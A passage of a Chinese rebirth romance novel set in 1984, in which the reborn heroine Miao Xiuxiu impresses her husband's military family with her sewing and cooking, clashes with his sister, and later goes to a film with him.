他把车身倾斜了一点,苗秀秀坐上车,搂住他的腰,她已经很多年没坐过自行车了,印象里还是小时候坐在爸爸的自行车后座,上学的时候,倒是也有男生骑车带过她,但是她已经记不得那个男生的样子。
将军楼在大院深处,绿荫环绕着一排气派的小别墅,其中的一家院墙上爬满了五颜六色蔷薇花的就是周家。打开院门,周北冀把车停在院子里,苗秀秀从车上下来,打量了一下这栋红砖小楼,这里曾是她以前最害怕来的地方。
“进去吧,外面怪晒的。”周北冀锁了车过来。苗秀秀把视线移到他晒红的脸上,笑吟吟,“不急,我等你。”果篮沉甸甸的,周北冀从她手里接过去,帮忙提着。
两人一起进家门,客厅里的周家人差点没认出来跟在周北冀身后的是苗秀秀,纷纷好奇地看向他俩。
周北冀把鲜花果篮交给沈芬玉,“妈,秀秀买了个果篮给您和我爸。”
沈芬玉原本看到周北冀回家时带着个时髦的漂亮姑娘,以为他把外面的女人带回家,正要上前发话,却不料这漂亮姑娘竟然是儿媳妇苗秀秀,顿时愣住了。
“秀秀?怎么变样了?”沈芬玉最近听到不少关于她儿媳妇的传言,说什么的都有,她一直没太当回事,乍见之下,简直不敢相信自己的眼睛,苗秀秀比以前漂亮太多了。
周北冀的大嫂吴秀清也迎上来,笑着打量:“秀秀是比以前好看多了,这果篮真好看唉。”吴秀清也是部队子女,在区外事办当英语翻译,对待苗秀秀的态度一直是不咸不淡很疏远,这么主动夸奖她还是第一回。
“我自己随便搭配的,不知道妈喜不喜欢?”苗秀秀看向婆婆沈芬玉。以前她别说主动和婆婆说话了,看婆婆一眼都小心翼翼的。
婆婆以前是上海大户人家的小姐,大学毕业后进了301医院当军医,长期担任首长的保健医生,和公公虽然是组织上介绍认识的,但婚后两人感情非常好,公公很宠着她,所以她的脾气既娇又骄,全家上下都得让着她。
“看起来不错,放茶几上吧。”沈芬玉虽然觉得鲜花果篮赏心悦目,但是也不想对小儿媳表现得太热络,表情淡淡的。
沈芬玉年轻时是个大美人,老了也风采不减当年,苗秀秀看着她年过半百依然苗条的背影,觉得她气质特别像这个时代特别出名的女演员潘虹,对了,就是潘虹那种让人难以接近的高贵清冷感。
这样的她一定很适合穿华美精致的旗袍,就像电影里那些旧时代的女人,风姿绰约扭动纤细的腰肢,从容不迫穿梭在衣香鬓影的社交场合。这样的女人是无法让人不爱的,所以公公虽然是个革命干部,也被她吸引了一辈子。
沈芬玉这种不接地气的疏离感,也遗传给了她的几个子女,尤其是老三周湘南和老四周北冀,简直是母亲的翻版。幸亏周北冀是个军人,阳刚之气中和了部分清冷,不然这种厌世脸长在男人身上,就会显得阴郁。
周北冀的大哥周岭东、二哥周晋西都在外地的野战部队服役,端午也没有回来,周北冀作为沈芬玉最疼的小儿子,从南疆战场回来后,一直被她留在雁京,就连几年前去中越边境参加自卫反击战,也是在丈夫周明康的一再坚持下才让他去的,不然的话,沈芬玉哪舍得儿子去上战场。
没想到儿子也争气,不伤不残的情况下,凭着过硬的无线电通讯技术,在我方炮兵定位雷达被敌方破坏的情况下,及时将仪器修复,带领连队战士顺利突围,硬是给自己挣了个二等功回来,给周家二老脸上添了不少光。
从小到大捧在手心里当块宝的小儿子,又这么优秀,沈芬玉对他的婚事早有打算,既要家庭出身好,人也要漂亮聪明,学历还得是大学毕业,只是没想到老伴儿横插一杠子,逼着儿子娶他老战友的女儿。
这个媳妇儿子娶得委委屈屈、日子过得很不舒心,沈芬玉都是看在眼里的,因此对苗秀秀怎么看都看不顺眼。不光是打扮土气,性格也小家子气,无论和她说什么,永远都是呆板木讷、佝肩缩背站没个站相,看起来教养不够的样子。
目光逡巡一圈,苗秀秀看到周北冀的大姐周湘南坐在沙发上看电视,怀里还抱着她妹妹养的那只波斯猫,心念一闪,向她走过去。
周湘南细长身材,清秀白净的脸上戴着一副金丝框眼镜,脸型是秀丽的鹅蛋脸,但因为脸上没什么肉,颧骨高就显得有几分刻薄。
和母亲沈芬玉一样,周湘南也是军医,继承了母亲的职业,也继承了母亲的清高傲气,但是她疼弟弟,因此对苗秀秀的态度还
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算可以,结婚的时候,也是她带苗秀秀去买新娘衣服。
苗秀秀决定先对她投桃报李,主动从随身的皮包里拿出一件自己做的衣服,对周湘南说:“大姐,我给您做了一件衬衣,不知道合身不合身。”
周湘南微微诧异,从来没听说苗秀秀还会做衣服,上回那个鞋垫给她的印象太深刻了,以至于听苗秀秀说给她做了件衣服,心想还不知道是什么土气的样式,接过来之后抖开一看,却是出乎她意料的好看。
面料是真丝软缎的,摸起来非常舒服,款式简洁大方,周湘南有点心动,拿着衬衣去妹妹周中中的房间试穿。不仅合身,简直像是为她量身订做,尤其是袖口的设计,很特别,穿上以后特别显气质。
周湘南穿着苗秀秀送她的短袖衬衣从房间出来,问弟弟周北冀,“好看吗?”“好看,很有气质。”周北冀没想到苗秀秀还藏了这一手,小媳妇也知道讨好婆家人了。
苗秀秀在一旁笑而不语,能不好看吗,这是用老娘上辈子第一个获奖的设计作品改的,原版更好看,考虑到这个时代的接受度,才给修改了一下。
“没想到秀秀还有这样的巧手。”周湘南夸奖苗秀秀的同时,也打量了一下苗秀秀从头到脚的穿着打扮,发现她像是变了一个人,从头发到衣服到鞋,竟没有一件不好看。
之前她弟弟领着媳妇进来的时候,她因为和丈夫吵架心情不好,根本没心情看他俩,穿上苗秀秀送的衣服后心情好了不少,再看苗秀秀,就发现了她的变化。
以前苗秀秀因为胆小自卑,总是低眉顺眼缩着肩,现在则是挺胸抬头,一副自信满满的样子不说,她甚至连身材都变好了,周湘南有点惊讶,原来弟弟这个乡下媳妇长得这么漂亮,以前见到她时也只是觉得相貌还算清秀,没想到她只是没打扮,打扮起来能把一大半女人比下去。
难怪小弟和他媳妇关系似乎有点改变,男人没有不喜欢漂亮女人的,除了她家那个呆头呆脑的榆木脑袋……想到丈夫,周湘南一阵烦躁,不愿意让那个人破坏她的好心情,拉着苗秀秀坐下,问她是什么时候学的裁剪。
“以前就会,后来我又看了好多裁剪书,电视里也有教裁剪的课。”
“那你等于是自学的啊,很聪明嘛。”
周湘南性格孤高自傲,很少夸人,和丈夫关系也不好,在苗秀秀的记忆里,她比周北冀还要早离婚一年多,她丈夫离婚后辞职去了深圳。
想到这里,苗秀秀微微一笑,看到周北冀向她使了个眼色,站起来走到他身边。周北冀说:“你上回炒的虾仁很好吃,中午我爸回来吃饭,你去炒一个。”
周家的几个孩子从来不下厨,也就是二嫂有时候会帮小张打打下手,自从苗秀秀嫁进来,在厨房打下手就成了她的专利,苗秀秀虽然不大满意周北冀安排她做事,但她有心要亮一手,也就没推辞,主动去厨房帮忙。
看着苗秀秀进了厨房,周湘南对周北冀说:“秀秀好像变了一个人,以前没发现她长这么好看。”周北冀莞尔一笑,“一直都挺好看的,就是不怎么自信,最近经常看书看电视,比以前自信多了。”
他以前不喜欢苗秀秀也不是嫌她长得丑,而是嫌她身上那种土气和自卑,看起来很拿不出手,他喜欢自信开朗的姑娘,不喜欢缩手缩脚的。
“吃了没文化的亏,要是多上几年学,咱妈也不至于那么瞧不上她。”周湘南和苗秀秀接触不多,但之前每次见面都让她留下不好的印象。这姑娘最大的缺点是文化水平不高,也没见过什么世面,他们家里人谈话她根本听不懂,更别说加入他们的谈话了。
周北冀没接话,打开电视看球赛去了。
9. 第八章
听到电话铃响,周湘南接起电话,电话是她妹妹周中中打来的。周中中是个心直口快的姑娘,在电话里嚷嚷:“姐,听说三哥带了个特别漂亮的姑娘回咱家,是不是夏文竹啊?三哥怎么这么大胆子,被爸爸知道还不打断他的腿。”
对风风火火的妹妹,周湘南一向知道她脾气,这丫头听风就是雨,眉头一皱轻声训斥,“别瞎说,哪有什么夏文竹,小北和秀秀一起回家来的。”
“秀秀?你是说苗秀秀?怎么可能啊,梁国庆亲口跟我说,他看到我三哥骑车带着个很漂亮的姑娘往咱家方向去,苗秀秀那丑八怪也配叫漂亮姑娘?”周中中一直看不起苗秀秀,觉得只有军区文工团舞蹈演员夏文竹那样的大美人才配得上她亲爱的三哥。
人家夏文竹不仅长得漂亮、舞跳得好,家庭条件也好,父母都是重点中学教师,比苗秀秀那个乡下土包子强多了。
周湘南嗤一声笑,“你回来看看不就知道了,以后别再说秀秀是丑八怪,给小北听到了不高兴。”周中中不以为然,“他才不会不高兴呢,他也很嫌弃那个土包子,不然的话,结婚前他能和爸爸闹两个月?”
“你别这样说,还不许人家有个改变啊。对了,你几点回来?”
“上午学校有活动,我要十一点半才能走,让小张等等再炒菜啊,我盼这一顿盼了好多天了。”
“知道了,馋猫。”
苗秀秀对这一切浑然不知,扎着围裙正在炒红烧鳝鱼段,这道菜周家人都很喜欢吃,务必要炒得鲜嫩浓香,还有她最拿手的炒虾仁,也要一鸣惊人。
中午,周明康回家的时候,看到小儿子周北冀靠在窗边和一个漂亮姑娘说话,两人头挨着头,很亲密的样子,心中的怒火顿时窜上头顶。
“周北冀,你给我过来!”周明康没想到儿子竟这么混蛋,结婚后居然还敢把别的女人带回家里来,这让外人看到了,周家人的脸往哪儿搁。
周北冀自然猜到老爸的老花眼大概是没认出苗秀秀,从容带着苗秀秀上前,“爸,您怎么一回来就发火?秀秀给您炒了您最爱吃的虾仁。”
周明康微楞,苗秀秀大大方方叫了他一声,“爸,我是秀秀啊。”
和苗秀秀想得差不多,周明康一看就是那个年代的高级干部,一身军装把他本就高大伟岸的身形映衬得更加英武。
“秀秀?”周明康仔细看了看眼前的姑娘,好像还真是秀秀,换了身衣服看起来和之前大不一样了。
农村人结婚早,秀秀爸二十三岁就已经有了两子一女,他曾经不止一次和战友周明康说过,他小闺女长得特别俊,长大了肯定是十里八乡有名的漂亮姑娘。
刚到雁京来的时候,苗秀秀不仅面黄肌瘦,还害羞,见了人不好意思抬头,现在,好像忽然就长开了。
周明康点了点头,只要儿子不胡来,他们小俩口怎么相处怎么生活他就不会干涉,他决不允许周家的孩子做出违背良心的事,既然娶了人家姑娘,就要好好待人家。
天气炎热,沈芬玉递了条热毛巾给丈夫擦脸。周明康接过去擦了两下,看到一家人差不多都到齐了,问妻子:“中中还没回来?”
“说学校有事,让我们等等她再开饭。”沈芬玉一早就和小女儿通过电话。
“都十二点多了,别让一家人等她一个,开饭吧,给中中留点菜就行。”周明康虽然也疼小女儿,但从不过分偏心,她既然一时半会回不来,没有让全家人饿着等她一个人道理。
苗秀秀帮着小张把饭菜摆上桌,特意把毛豆炒虾仁和红烧鳝鱼段放在周明康面前,想让他最先品尝她的手艺。
“今天这个虾仁炒得很嫩,小张的手艺有进步,值得表扬。”周明康为官多年性格端方,对子女和小辈要求很严,该批评的批评,该表扬的时候也从不吝啬。
“不是我炒的,是秀秀嫂子炒的,还有红烧鳝鱼,也是她炒的。”诚实的小张坐在桌子一角笑呵呵地说。
“哦?秀秀炒菜炒得这么好?”周明康再次被苗秀秀惊喜到。他记得以前妻子跟他抱怨过,苗秀秀做饭不好吃,儿子都不愿意回家吃饭,妻子心疼儿子,家里做了什么好吃的,经常叫他回来吃。
如果这都算做饭不好吃,那周北冀这小子嘴也太刁了,这臭毛病得改,六几年自然灾害的时候,很多人连饭都吃不上,这才吃饱饭几年,就被他妈妈惯得嘴这么刁,慈母多败儿。
“是炒得挺好的,比我们单位食堂大厨炒得还好。”
周北冀的姐夫、周湘南的丈夫卢江宇在一旁附和,他尤其喜欢吃红烧鳝鱼段,色香味俱全。
周湘南瞄了丈夫一眼,很不屑地把视线移开。虽然她丈夫是首钢的高级工程师,她死活就是看不上他,她自己是协和医学院毕业的,觉得他也不过就是个工农兵大学生,混成高工纯属运气。不仅如此,她还觉得,卢江宇虽然进城多年,还是改不了一身的小县城人习气。
卢江宇感觉到妻子鄙视的目光,默默低下头吃饭。当初娶她,对他来说是高攀了,因此结婚几年了,他不仅在家里任劳任怨,在周家人面前也给足了她面子,对她的冷脸全都好脾气地忍耐着。
“姐夫,喜欢吃就多吃点。”苗秀秀记得,老实厚道的卢江宇是周家除了保姆小张之外,另外一个从心底里把她当成一家人的人,心里对他始终抱有感激之意。
而且这个卢江宇,离婚后辞职去深圳创业,成为国内耳熟能详的房地产大佬。
卢江宇对苗秀秀笑了笑,点头说:“炒鳝鱼火候掌握得很好,火太急了鱼肉容易糊,火不够又不熟,炒的时候一定要加料酒,油热了下锅爆炒。”
两人交流了几句烹饪心得。周北冀的二嫂郭燕向大嫂吴秀清使了个眼色,吴秀清只笑笑,全当没看见。
一个家庭有三个儿媳妇,自然少不了互相比较、明争暗斗,郭燕没有吴秀清那么有涵养,表面功夫都懒得做,对苗秀秀瞧不起就是瞧不起,哪怕她变成天仙,在她眼里也只是个乡下来的没文化的土丫头。
全家人正吃着饭,周中中开门进来,看到已经开饭,下意识就去看她三哥身边的人,结果发现坐在他身边的果然是苗秀秀,而不是她以为的夏文竹。
就说嘛,三哥哪有那个胆子,没离婚就敢往家里带人。可是那个苗秀秀……她哪里像苗秀秀了,周中中用敌视的目光扫了苗秀秀一眼,发现她确实变漂亮了。
只是,她在第一时间发现,苗秀秀的胸有情况,以前她哪有胸,怎么现在挺得高高的?此事必有猫腻,周中中不禁想起了她一个室友,因为胸太小了,偷偷往胸罩里塞海绵,让胸部看起来挺立丰满,这个苗秀秀,怕不也是在耍花样。
周中中自己是个阳光健康的女孩子,身体发育得很好,她不相信凭苗秀秀以前那种佝肩缩背的样子,能在短短时间内就长成这样,又不是发育期的少女,成年女性十七八岁胸部就定型了,土包子一定是出幺蛾子了。
看到三哥还给苗秀秀夹菜,周中中更生气了,心说男人果然都靠不住,三哥明明喜欢的是夏文竹,之前私下里还和她说过,想过两年就离婚,一转眼就被土包子迷了眼。哼,土包子就算勉强装成肉包子,还是改不了土包子的本来面目。
小张看到周中中进来,勤快地去厨房拿一副碗筷给她。周中中坐下以后,周明康问女儿,学校有什么活动耽误这么长时间。
“35周年国庆阅兵,我们北大全体师生都要参加献礼,这学期开学我们就开始练方阵了。今天学生会又召开小组会,讨论怎么样才能在阅兵式上给全世界留下深刻印象。”周中中提到她的母校,骄傲之情溢于言表,身为学生会干部,一切社会活动她都喜欢参加。
“好好练,这是头等大事,不能耽误。”周明康这些日子也在为国庆阅兵的事忙碌,遇上过节才回家吃一次饭。
84年国庆阅兵,苗秀秀脑海里闪过模糊的印象,她在电视里看过,北大的学生方阵忽然打出了“小平,您好”字样的横幅,恰好又被摄影师拍了下来,成为一个时代的记忆。
“你们可以在方阵打横幅啊,邓公您好,什么的。”苗秀秀有意说。
周中中鄙夷地看了苗秀秀一眼,她这个三嫂以前最怕她,从来不敢主动和她说话,她心里也从来
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没把她当成三嫂,只觉得她是强加给哥哥的包办婚姻。
作为新时代的青年,去接受一段包办婚姻,真是委屈哥哥了,因此周中中每次看到苗秀秀都觉得她特别不顺眼。
“打横幅?又不是工人游行。”周中中鼻子里哼哼了一声。
卢江宇在一旁帮苗秀秀说话,“我觉得挺好的,就是叫邓公疏远了,不如改成小平您好,亲切多了。”
大佬就是大佬,一语中的、眼光独到,苗秀秀对他佩服到不行。卢江宇看到苗秀秀那种钦佩的眼神,端着饭碗笑了笑。
周中中对苗秀秀翻了个白眼。苗秀秀也回敬了一个白眼,周中中没瞧见,周北冀却瞧见了,垂着眼帘闷笑,抬手夹了个虾仁吃。
苗秀秀无声地看着丈夫拿筷子的手,他的手很好看,手指修长、优美,骨节棱角分明,洗得很干净,手背上血管清晰,充满力量感,因为长期的军事训练,手心里有一层薄茧,难以想象,这样一双有艺术气质的手不是用来弹钢琴,却是在战场上握过枪的。
吃过午饭,苗秀秀本来要去和小张一起刷碗,周北冀拉住她,“让二嫂去吧,你已经炒了菜,不用刷碗了。”
以前他可从来没说过这样的话,媳妇做饭洗衣服、洗一大家子的碗哪怕在周家厨房累死了,他都一声不吭,可他既然说了,苗秀秀也不会上赶着要去洗碗,去洗水果给大家吃。
水果洗好切成一块块装在果盘里,苗秀秀找小张要了一盒牙签,把牙签插了几根在水果上,端到客厅里。
电视里正在播新闻,苗秀秀把果盘放在茶几上,听到播音员说,国家将派出225名运动员参加在美国洛杉矶举办的第二十三届夏季奥运会,篮球运动员王立彬将作为开幕式上中国代表团旗手走在队伍最前列。
建国后中国代表团首次重返奥运赛场,是当年的头等大事,全国都在关注这件事,周家人也不例外,全都看着新闻。
“还以为会是朱建华。”周北冀吃了一块苹果,觉得味道不错,又用牙签戳了一块送进嘴里。
“为什么不是郎平呢,铁榔头哪点比男运动员差了?”周中中愤愤不平,凭什么旗手就得是男人,而不能是女人?
“女排两连冠了吧,郎平是应该当旗手。”周湘南看到苗秀秀站在那里看电视,叫她坐下看。苗秀秀坐到周北冀身边。周北冀本以为她对这些不感兴趣,但见她看得聚精会神,用牙签叉了一块水果给她。
“许海峰和李宁也行啊。”苗秀秀记得,在洛杉矶奥运会上,李宁一个人夺得三块体操金牌,许海峰则是奥运首金,全是能被载入史册的辉煌战绩。
周北冀瞧了苗秀秀一眼,未动声色,说:“李宁太矮了,当旗手不合适。”
“这播音员是赵忠祥?好年轻啊。”苗秀秀看到新闻播音员,忍不住笑,赵忠祥当时虽然已经年过四十,可还是这个年代央视头号男神,宋丹丹后来都在小品里说她十分想见赵忠祥。
这也叫年轻,是不是对年轻有什么误解?周中中冷笑两声,嘲讽道:“嫂子,赵忠祥都四十多啦,中央台的男播音员里就属他老。”
四十多算什么,我还见过他七十多的样子呢,苗秀秀也笑,“四十多也不算老啊,央视后来还有一个叫撒贝宁的,快五十了还在舞台上蹦跶呢,对了,他也是你们北大的,还是保送的,在电视上说,北大还行。”
周中中气坏了,“什么叫还行,有本事你也考一个试试?初中都没毕业,说北大还行。”她心里神圣的母校,自五四运动以来就是中国各种新思想诞生的前沿阵地,到她这个农村土包子嘴里就成了还行?
“不是我说的,是小撒说的,不服气你可以找他去。”苗秀秀想,等你能在电视上见到小撒,起码还得过个十几年,现在这个时候,小撒还在上小学。
居然敢和自己顶嘴了,周中中更是气不打一处来。吴秀清和郭燕在一旁也听愣了,小姑子是家里一霸,仗着父母宠爱,哥哥嫂子姐姐姐夫全都让着她,苗秀秀见到她更是像老鼠见到猫,周中中无论说她什么,她从来不敢回嘴,今天这是怎么了?太阳打西边出来了?
10. 第九章
周中中刚想呛苗秀秀两句,周北冀眼已经替她开口,“北大不能说还行,全国最好的大学要是只能算还行,那就没有更行的了。”
“就是,不知道的还以为你是清华的。就算是清华,也没资格瞧不起我们北大,清华是工科学校,我们北大是文理科,各有特长。”周中中又是冷冷一笑,“你知道什么是工科吗?”
“知道啊,土木工程、物理系和建筑系,不都是清华最出名的专业,但是麻省理工的建筑系和物理系才是全世界最好的。”苗秀秀本来不想跟她杠,也没有瞧不起清华的意思,见她气焰嚣张,倔脾气上来又开始翘尾巴,忘记了以她眼下的身份,不可能说出这样的话。
在场的几个人都被她的一句话震住了,他们在当时都算是知识分子,麻省理工是什么样的学校他们也都知道,但从苗秀秀嘴里说出来,就奇怪了点。
卢江宇笑着看向苗秀秀,“秀秀最近进步很大嘛,不仅厨艺突飞猛进,知识水平也有所提高。”苗秀秀有些懊悔自己一时卖弄,有意做出不好意思的样子,“都是在电视上和报纸上看到的。”
“多读书看报还是很有好处的,这不,人家秀秀也进步了,知道关心国家和国际上的大事。”周明康发话表扬三儿媳。
苗秀秀心里得意,下意识看向周北冀,却见他英俊的脸上一双深邃的眼睛审视地看着自己,似乎在怀疑什么,心说一声不好,自己表现过头了,引起了这家伙的怀疑。差点忘了他是军人,还是上过战场的军人,嗅觉灵敏,一点点小事都会引起他警惕。
他不穿军装的时候,那种潇洒随意的气质并不太像军人,可不像不代表他不是,他端严起来的时候,站有站相坐有坐相,一看就训练有素。
难得全家团聚,除了周湘南要赶着去医院上班,其他人都没走,有了看电视时的教训,苗秀秀装了一下午鹌鹑,哪怕周中中横挑鼻子竖挑眼,她也不再搭话,生怕再被周北冀看出点什么来。
在周家吃过晚饭,两人才一起回家。到家门口,苗秀秀看周北冀锁车,问他:“你晚上不回学校了?”“不回了,明早再回。”周北冀有点闷闷不乐。
下午周中中私下里找他说了件事,让他非常不痛快。
看了会电视,夫妻俩一直没怎么说话。眼看着苗秀秀洗澡过后把换下来的衣服晾在阳台上,周北冀看了一眼她挂在那里的文胸,有点忍无可忍,“做人真实点不好吗,何必为了点虚荣心就弄虚作假?”
“你什么意思?”苗秀秀其实早就感觉到了,周北冀从下午开始就有点不太高兴,一晚上都没和自己说几句话。他以前对她是这样的态度没错,但是自从两人关系缓和,他还从没有这样表露过不满情绪。
“你以前长什么样我会不知道?我一直没想说你而已,往衣服里塞东西好玩?”周北冀不想说得太直白,可又不愿意听人在背后议论她。他已经听到不止一次了,下午周中中又和他说了一次,把他累积的情绪推到顶点。
苗秀秀瞬间明白了他的意思,冷冷看着他,“是你妹妹跟你说的吧?别说我从来没往胸罩里塞东西,就算我塞了,关她什么事?”
“你没听到外面的人怎么议论你?”
“那你是相信他们不相信我?”
苗秀秀有点失望,她以为周北冀以前对她再不关注,她裹胸的事他也应该能看出来,不管怎么说他也是她挂名丈夫,两人虽然没睡在一起,但是在同一屋檐下生活的人不可避免会知道些彼此的小秘密。像她就知道,周北冀喜欢穿三角内裤,以为他喜欢运动,经常打篮球,穿平角的容易卷边。
哪知道,他是真的一点也不关注她,从不曾把她放在心上片刻。
苗秀秀低头一颗颗解开小花睡衣的扣子,叫了周北冀一声,展开衣襟给他看自己的胸。就那么一瞬,等他呆在那里,她默默扣上衣扣,躺倒在床上睡觉,什么话都不和他说。
周北冀冷不丁看到她胸前两颗饱满的水蜜桃,当场石化,呆了好久都不知道该说些什么。他有点艰难地、一步一步走到床边,轻轻握了一下她的肩,想说句道歉的话。她不理他,回身向里,躲开他的手。
浴室里,周北冀锁好门,打开热水龙头,想用水来浇灭心头的那团火,大脑不听使唤,始终停留在那个令他震撼的画面,在他眼前晃来晃去怎么赶都赶不走。
以他俩目前的情况,想让她帮他解决是不可能的,他只能自行解决。
黑暗中,苗秀秀躺在床上,并没有睡着,心底里暗自得意,她之前的行为完全是为了报复,果然那个狗男人洗澡用了比平常多三倍的时间。
他这样的高干子弟,哪怕是在保守的八十年代也是不缺女朋友的,她可不相信他在结婚前是个处男,以周家严谨的家风,滥交倒也不至于,但是大院里那么多漂亮姑娘,还有文工团里那些花枝招展的女人,他不可能有多老实。
男人是什么样的生物,上辈子可没少见识,他要不是外面有相好,这样血气方刚的年纪,不可能结婚半年都不碰苗秀秀,苗秀秀又不是丑到让男人没性·欲,相反还是个很清秀的姑娘。一想到这里,苗秀秀忍不住烦躁,这样的委屈也就原主能忍了,换了其他人早就闹离婚了。
在脑子里把周北冀拖出去枪毙了好几回,苗秀秀才消了心头之恨。听到浴室门开的声音,闭上眼睛假装已经睡着。他倒是没有来骚扰她,黑暗中摸索着去他的行军床,很快就躺下睡觉了。
这一夜,两人都没睡着。第二天早上天刚亮,周北冀没吃早饭就走了。
周末他没回家,也没给苗秀秀电话,对此,苗秀秀也不在意,他不在家正好,她一个人乐得轻松,也不用想方设法烧菜去讨好他的胃。
有了王素香这个活招牌,她陆续又接了好多个裁剪衣服的活儿,每天她都过得很充实,经常做衣服到深夜,抽空还更新了一下设计草图。
找她做衣服的人对她也信任,看到草图就很满意,等成衣做出来,试穿以后就更满意了,口口相传,周北冀的小媳妇很会做衣服这个招牌在军区大院算是打了出去。
飘带幸子衫前前后后做了三十多件出去,再加上别的衣服,苗秀秀大概算了算,一个月时间她就赚了一百多块,比周北冀一个月津贴还多。
六月底的时候,周北冀才回家来一次,大概是心里那种尴尬别扭劲儿已经过了,他主动问苗秀秀愿不愿意晚上和他一起去看场电影。
结婚大半年,这是他头一回说要带苗秀秀去看电影,以往他不在家的时候,苗秀秀自己也去看过一次,别人都是成双成对的,只有她独自买票独自看,那一次以后,她就再也没去过电影院,宁愿在家里看电视。
“什么电影?”苗秀秀也不想就这么和他冷战下去,重生一回用来搞事业不香吗,和个渣男较什么劲。
“《黑郁金香》,阿兰德龙演的。”
“哦,演佐罗那个,他很帅。”苗秀秀知道这个法国大明星,六七十年代世界级的男神,不仅风靡欧美,把国内的女人们也迷得不要不要的。
“你看过《佐罗》?”
“我们村里也会放电影的,那种露天电影,在村里晒粮食的场院。”苗秀秀信口胡诌,她记事的时候,露天电影早没了,原主倒是看过露天电影,但是没看过《佐罗》。
为了去看电影,苗秀秀特意换上了一条新做的花裙子,这
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个年代流行的乔其纱面料,后世称为雪纺,料子轻薄柔软,特别适合夏天穿,还不容易起皱。
看电影不能没零食吃,把一包五香花生、一包话梅装进包里,苗秀秀走到门口忽又想起来手表忘记戴了,回去找手表,听到楼下周北冀叫她,忙提着小包跑步出门。
气喘吁吁跑下楼,苗秀秀看到穿着白衬衣绿军裤的周北冀单手插兜等自己,忽然就被眼前这副画面惊艳到了。
夏日黄昏清风微凉,夕阳西下但路灯还没亮,暗蓝色天空被一堆堆橙黄色彩霞晕染,最好的画家也难以画出这样颜色的天空,一个气质干净的俊朗青年那么闲闲的站在路边,你知道他是在等你,那种悸动的心情,很像初恋。
他和当时流行的浓眉大眼长相不同,他的英俊是另一种维度的,一种颇具小资情调的精致气质,这种长相在当时略显颓废,不符合工农兵朴素无华的形象,用后世的话形容就是高冷不接地气,属于文艺范儿的男人长相。
苗秀秀忽然有点理解了,他对原主那么不好,原主还死心塌地爱着他,周北冀这样一个人,很难不让一个怀春少女心动。
苗秀秀走上前,抓了一下周北冀的手臂,“走吧。”周北冀点点头,和她并肩而行。
大院的傍晚是热闹的,《歌唱祖国》恢弘雄壮的前奏响起,大喇叭里开始播放晚间节目。
胜利歌声多么嘹亮,歌唱我们亲爱的祖国从此走向繁荣富强……中央人民广播电台,现在是新闻和报纸摘要节目时间……播音员字正腔圆的声音充满着上个世纪的意气奋发和昂扬斗志,苗秀秀小时候听过这样的播音,觉得莫名亲切。
“笑什么?”周北冀发现媳妇咧着嘴、脚步也变慢了,疑惑地看着她。
“我想吃冰淇淋。”苗秀秀路过小卖部,过去买了两个冰淇淋,和周北冀一人一个。
电影院离家属区不远,走路也就五六分钟,快到电影开场的时候,路上都是来往的行人,也不乏认识他俩和知道他俩情况的,都在心里惊讶,周北冀这是想通了还是认命,居然都带着他小媳妇出来溜达了。
和六七十年代相比,84年的时候,电影院明显冷清了很多,大多数家庭都买了电视,电影不再是唯一的娱乐方式,除非电影特别好看,不然的话,一般人都会选择在家里看电视。
两人一排排找座位,还没等坐下,有人叫周北冀。周北冀和苗秀秀同时抬头去看。
叫他的人是周中中,而周中中身边的还站着个很漂亮的年轻姑娘,长发编成一条长长的麻花辫搭在右肩上、紫花连衣裙将她的身材勾勒得纤细柔美。
同样是麻花辫,有些人编就很土,而这姑娘自带洋气,长长的麻花辫反而显得别具一格,大概这就是气质吧。
苗秀秀记得,她是周中中的闺蜜、军区文工团舞蹈演员夏文竹,同时还是周北冀那个传说中的女朋友。要不是父母包办、苗秀秀横空出世,嫁给周北冀的恐怕就是她了。
找到座位把苗秀秀安顿好了,周北冀对她说:“你先坐一下。”苗秀秀视线追随着他,看到他过去后面几排和自己妹妹说话。
周中中显然是没想到三哥会带着苗秀秀来看电影,跟他说话的时候一副怏怏不乐的样子,夏文竹则像是在一旁劝解打圆场,滚烫的目光始终没有离开周北冀。
好家伙,当着她的面就这样眉目传情了,私下里还不知道怎样呢?
苗秀秀转过脸,没好气地撕开手里的话梅包装袋,塞了一颗到嘴里,酸酸甜甜的,就像爱情的味道,但可惜不是她的爱情,是被她拆散的那两个人的爱情。
看到夏文竹,周北冀甚至都不装了,丢下她一个人。
11. 第十章
“三哥,要不你跟我们一起坐吧,和边上的人换票就行。”周中中一心不想放她三哥走,她知道,夏文竹一定也这么想。
“不了,换票多麻烦,人家也不一定乐意。”周北冀可不想给自己惹麻烦。
电影院里的灯灭了,周北冀才摸索着回到座位上来。苗秀秀原本以为他不会回来坐了,已经脱了鞋把腿搁在他座位上,既然买了票就不能浪费,哪知道他竟回来了,她赶忙把脚放回地上,穿好鞋。
银幕亮了,开始播放电影片头,苗秀秀知道此刻后方某处肯定有两双眼睛死死盯着她和周北冀看,心生一计,手伸进袋子里拿了一颗话梅,送到周北冀嘴边要喂给他。
周北冀一低头,把话梅吃进嘴里。苗秀秀微笑,“还有花生,你吃不吃?”“一会儿吃,先看电影。”周北冀对电影更感兴趣。
电影很搞笑,演的是法国大革命时期一对孪生兄弟劫富济贫的故事,阿兰德龙把到处拈花惹草的哥哥和单纯善良的弟弟演绎地惟妙惟肖。
真帅。苗秀秀在心里说。难怪被称为法兰西第一美男,蓝眼睛迷死人,就算是个绝世大渣男,也架不住那种风华绝代的帅啊。
感觉到身旁的男人不太善意的目光,苗秀秀眼波流转,把五香花生的袋子送到他面前,小声在他耳边说:“吃花生啊。”
嗯,周北冀手伸进袋子里抓了一把花生米吃。味道是挺不错的,难怪女孩子们都喜欢吃零食。苗秀秀一心想气死后座那两位,又喂给周北冀一颗话梅。
坐在四排后的周中中看到这一幕简直气死了,第一次喂她还能和夏文竹说,她哥肯定是没想到苗秀秀会把话梅送到他嘴边,没多想就吃了,第二次喂还吃,她不知道是该骂那个女人,还是该骂自己哥哥,明明他知道自己和夏文竹就坐在后面。
“那个女人真讨厌,整天缠着我哥。”周中中绝不相信是三哥主动带苗秀秀来看电影,一定是苗秀秀自己非要跟着他来的。
以前也是这样,他俩每次到周家,苗秀秀总是寸步不离跟着三哥,把三哥烦得不行,后来索性搬到学校住,一星期才回一次家。
“别这样说,他俩现在到底是夫妻。”
夏文竹也看到了,但是她不会像周中中那样把情绪都表现在脸上,中中这姑娘什么都好,就是脾气太直沉不住气,心里也藏不住事,相比之下,夏文竹心里怄得再难受,也只会默默放在心里,她有更长远的计划。
“什么夫妻啊,我告诉你吧,我三哥连碰都没碰过她。”周中中悄悄在夏文竹耳边低语。本来这个秘密她答应了大姐谁也不说的,但还是忍不住告诉了夏文竹。
